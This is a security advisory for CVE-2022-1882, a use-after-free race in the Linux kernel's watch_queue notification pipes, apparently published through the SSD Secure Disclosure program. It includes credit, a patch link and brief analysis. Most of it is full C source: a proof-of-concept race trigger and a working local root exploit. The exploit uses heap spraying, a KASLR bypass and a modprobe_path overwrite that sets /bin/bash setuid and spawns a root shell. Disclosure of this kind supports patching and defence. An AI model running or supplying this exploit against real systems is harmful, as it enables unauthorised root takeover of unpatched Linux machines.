TL;DR
A vulnerability in the way Linux handles the CONFIG_WATCH_QUEUE allows local attackers to reach a race condition and use this to elevate their privileges to root.
Vulnerability Summary
A use-after-free flaw was found in the Linux kernel’s pipes functionality in how a user performs manipulations with the pipe post_one_notification()
after free_pipe_info()
that is already called. This flaw allows a local user to crash or potentially escalate their privileges on the system.
Credit
An independent security researcher, Selim Enes Karaduman @enesdex, has reported this to the SSD Secure Disclosure program.
Affected Versions
- Ubuntu 20.04.x Desktop – 5.13.0-44-generic
CVE
CVE-2022-1882
Vendor Response
The Linux Kernel team has released a patch to address this vulnerability: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=353f7988dd8413c47718f7ca79c030b6fb62cfe5
Vulnerability Analysis
Due to the way watch_queue
works, a pointer that is used may be freed prior to it being accessed / freed again in the add_watch_to_object()
and remove_watch_from_objec
t() function. This allows a local attack to trigger a UAF which in turn can be exploited to execute arbitrary code with system (root) privileges.
Proof Of Concept
#define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <linux/keyctl.h> #define O_NOTIFICATION_PIPE 0x80 #define KEYCTL_WATCH_KEY 32 uint64_t data[96/8]; void *func0(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(1, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); int key; int pipefd[2]; while(1){ syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE); key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0); syscall(__NR_close,pipefd); syscall(__NR_close,pipefd[0]); syscall(__NR_close,pipefd[1]); } } void *func1(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(0, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); int key; int pipefd[2]; while(1){ syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE); key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0); syscall(__NR_close,pipefd); syscall(__NR_close,pipefd[0]); syscall(__NR_close,pipefd[1]); } } int fpid1,fpid2; int main(void){ printf("[+] Main process PID: %dn",getpid()); uint64_t pipe_obj = 0xffff888100886000 + 0x30; //data[2] = 0x4141414141; data[3] = 0x6161616161; // wqueue->pipe data[5] = 0x7777777788888888; int fpid1 = fork(); if (!fpid1) { func0(); } printf("[+] Racer 1 PID: %dn",fpid1); fpid2 = fork(); if (!fpid2) { func1(); } printf("[+] Racer 2 PID: %dn",fpid2); usleep(500000); //sleep(1); kill(fpid1,SIGSEGV); kill(fpid2,SIGSEGV); return 0; }
Exploit
#define _GNU_SOURCE #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <signal.h> #include <linux/keyctl.h> #include <fcntl.h> // CHANGE THESE uint64_t off_watch_queue_pipe_buf_ops = 0; uint64_t off_modprobe_path = 0; ////////////// #define O_NOTIFICATION_PIPE 0x80 #define KEYCTL_WATCH_KEY 32 #define MSG_ERR "[-] Exploit was killed to prevent breaking up kernel heap layout, run the exploit again!" #define SPRAY 1000 #define msgsnd(msqid, msgp, msgsz, msgflg) syscall(__NR_msgsnd,msqid,msgp,msgsz,msgflg) #define msgrcv(msqid,msgp,msgsz,msgtyp,msgflg) syscall(__NR_msgrcv,msqid,msgp,msgsz,msgtyp,msgflg) struct msg_buf{ long mtype; char mtext[4096-48+1024-8]; }; struct msg_buf *data[SPRAY]; int key; int pipefd[2]; int pipe_spray[SPRAY][2]; char desc[100]; int msqid[SPRAY]; pthread_barrier_t barrier,barrier2; uint64_t data_key[96/8]; int fpid1,fpid2; uint64_t pipe_obj[(1024-48)/8]; int oob_msg; uint64_t next_msg; uint64_t sec_next_msg; uint64_t fake_obj_idx; uint64_t target_obj_idx; int stop = 0; int byte; char mem[10000]; uint64_t fake_obj; uint64_t target_obj; uint64_t watch_queue_pipe_buf_ops = 0; uint64_t kbase = 0; uint64_t modprobe_path = 0; pthread_t th0, th1; void *func3(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(1, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); int key; int pipefd[2]; while(1){ syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE); key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0); syscall(__NR_close,pipefd); syscall(__NR_close,pipefd[0]); syscall(__NR_close,pipefd[1]); } } void *func2(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(0, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); int key; int pipefd[2]; while(1){ syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE); key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0); syscall(__NR_close,pipefd); syscall(__NR_close,pipefd[0]); syscall(__NR_close,pipefd[1]); } } void *func0(){ int ret = 0; cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(1, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); while(1){ syscall(__NR_pipe2, pipefd, 0x80); key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0); syscall(__NR_ioctl, pipefd[1], 0x5760, 1); syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING); pthread_barrier_wait(&barrier2); pthread_barrier_wait(&barrier); syscall(__NR_close,pipefd); syscall(__NR_close,pipefd[0]); syscall(__NR_close,pipefd[1]); for (int i = 0; i < SPRAY; i++){ syscall(__NR_msgsnd,msqid[i],data[i],64-48,0); } for (size_t i = 0; i < SPRAY; i++){ byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (byte > 0x10){ memcpy(&next_msg,mem+40,8); printf("[+] oob msg id: %dn",next_msg); next_msg--; oob_msg = i; stop = 1; pthread_exit(&ret); } } for (size_t i = 0; i < SPRAY; i++){ msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR); } } } void *func1(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(0, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); while(1){ pthread_barrier_wait(&barrier2); pthread_barrier_wait(&barrier); for (size_t i = 0; i < 50; i++){ syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING); } } } void init(){ if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){ puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!"); exit(-1); } puts("[*] STAGE 1: Initialization"); cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(1, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); for (size_t i = 0; i < SPRAY; i++) { data[i] = malloc(sizeof(struct msg_buf)); data[i]->mtype = i + 1; memset(data[i]->mtext,'A',4096-48+1024-8); } memset(mem,0,sizeof(mem)); pthread_barrier_init(&barrier,0,2); pthread_barrier_init(&barrier2,0,2); for (int i = 0; i < SPRAY; i++){ msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); } } void race(){ puts("[*] STAGE 2: Racing OOB read"); pthread_create(&th0,0,func0,0); pthread_create(&th1,0,func1,0); while(1){ if (stop) { if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"xffxff",2) && !memcmp(mem+24+6,"xffxff",2)){ pthread_cancel(th1); break; } puts(MSG_ERR); exit(-1); } } } void objects(){ cpu_set_t mask = {0}; CPU_ZERO(&mask); CPU_SET(0, &mask); sched_setaffinity(0, sizeof(cpu_set_t), &mask); puts("[*] STAGE 3: Create fake object"); msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0); msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (memcmp(mem+24+6,"xffxff",2) != 0) { puts(MSG_ERR); exit(-1); } memcpy(&fake_obj,mem+24,8); printf("[+] fake object: %#lxn",fake_obj); puts("[*] STAGE 4: Create target object"); for (size_t i = 0; i < SPRAY; i++) { if(i == oob_msg || i == next_msg){ continue; } msgrcv(msqid[i],mem,10000,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR); } msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR); for (size_t i = 0; i < next_msg; i++) { msgsnd(msqid[i],data[i],64-48,0); } for (size_t i = next_msg + 1; i < SPRAY; i++) { msgsnd(msqid[i],data[i],64-48,0); } msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); memcpy(&sec_next_msg,mem+40,8); sec_next_msg--; printf("[+] reallocated secondary msg id: %dn",sec_next_msg); msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0); msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (memcmp(mem+24+6,"xffxff",2) != 0) { puts(MSG_ERR); exit(-1); } memcpy(&target_obj,mem+24,8); printf("[+] target obj: %#lxn",target_obj); } void kaslr(){ puts("[*] STAGE 5: Bypass KASLR"); for (size_t i = 0; i < SPRAY/2; i++){ syscall(__NR_pipe2, pipe_spray[i], 0x80); sprintf(desc,"fscrypt:e8dab99234bb312%d",i); key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING); syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0); } msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR); usleep(500000); for (size_t i = 0; i < SPRAY/2; i++){ syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1); } for (size_t i = 0; i < SPRAY/2; i++){ sprintf(desc,"fscrypt:e8dab99234bb312%d",i); syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING); } msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY); memcpy(&watch_queue_pipe_buf_ops,mem+40,8); if (memcmp(mem+40+6,"xffxff",2) != 0){ puts(MSG_ERR); exit(-1); } kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops; modprobe_path = kbase + off_modprobe_path; printf("[+] watch_queue_pipe_buf_ops: %#lxn",watch_queue_pipe_buf_ops); printf("[+] kbase: %#lxn",kbase); printf("[+] modprobe_path: %#lxn",modprobe_path); for (size_t i = 0; i < SPRAY/2; i++) { syscall(__NR_close,pipe_spray[i]); syscall(__NR_close,pipe_spray[i][0]); syscall(__NR_close,pipe_spray[i][1]); } } void arb_free(){ fake_obj_idx = next_msg; target_obj_idx = sec_next_msg; for (size_t i = 0; i < SPRAY; i++){ if(i == fake_obj_idx || i == target_obj_idx){ continue; } msgrcv(msqid[i],mem,64-48,i,IPC_NOWAIT | MSG_NOERROR); msgrcv(msqid[i],mem,10000,i,IPC_NOWAIT | MSG_NOERROR); } memset(&pipe_obj,0,sizeof(pipe_obj)); pipe_obj[19] = fake_obj+0x8; pipe_obj[10] = 0x1; pipe_obj[11] = 0x0000000100000000; uint64_t tmp = target_obj-8; for (size_t i = 0; i < SPRAY; i++) { memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj)); memset(data[i]->mtext+4048,0x45,1024); memcpy(data[i]->mtext+4048+64-8,&tmp,8); } msgrcv(msqid[fake_obj_idx],mem,4096-48+512-8,data[fake_obj_idx]->mtype,IPC_NOWAIT | MSG_NOERROR); for (size_t i = 0; i < target_obj_idx; i++) { msgsnd(msqid[i],data[i],4096-48+512-8,0); } for (size_t i = 0; i < target_obj_idx; i++) { msgsnd(msqid[i],data[i],4096-48+512-8,0); } data_key[3] = fake_obj+0x30; data_key[5] = 0x7777777788888888; fpid1 = fork(); if (!fpid1) { func2(); } printf("[+] Racer 1 PID: %dn",fpid1); fpid2 = fork(); if (!fpid2) { func3(); } printf("[+] Racer 2 PID: %dn",fpid2); usleep(500000); kill(fpid1,SIGSEGV); kill(fpid2,SIGSEGV); //////////////////////////// uint64_t fake_msg[48+8]; memset(&fake_msg,0,sizeof(fake_msg)); fake_msg[0] = modprobe_path-8; memcpy(&fake_msg[1],"/tmp/xx",8); fake_msg[2] = 0x100; fake_msg[3] = 0x3d0; for (size_t i = 0; i < SPRAY; i++){ memset(data[i]->mtext+4048,0x47,1024); memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg)); } for (size_t i = 0; i < SPRAY; i++){ if (i == target_obj_idx) { continue; } msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR); msgsnd(msqid[i],data[i],4096-48+1024-8-64,0); } if (!fork()) { msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR); } sleep(2); } void get_root(){ puts("[*] STAGE 7: Getting root!"); char code[] = "xffxffxffxff"; int fd1 = open("/tmp/abc",O_CREAT | O_RDWR); chmod("/tmp/abc",0777); write(fd1,code,sizeof(code) - 1); char code2[] = "#!/bin/shnchmod u+s /bin/bashn"; int fd2 = open("/tmp/xx",O_CREAT | O_RDWR); chmod("/tmp/xx",0777); write(fd2,code2,sizeof(code2)); close(fd1); close(fd2); system("/tmp/abc"); unlink("/tmp/abc"); unlink("/tmp/xx"); system("/bin/bash -p"); } int main(void){ init(); race(); objects(); kaslr(); arb_free(); get_root(); }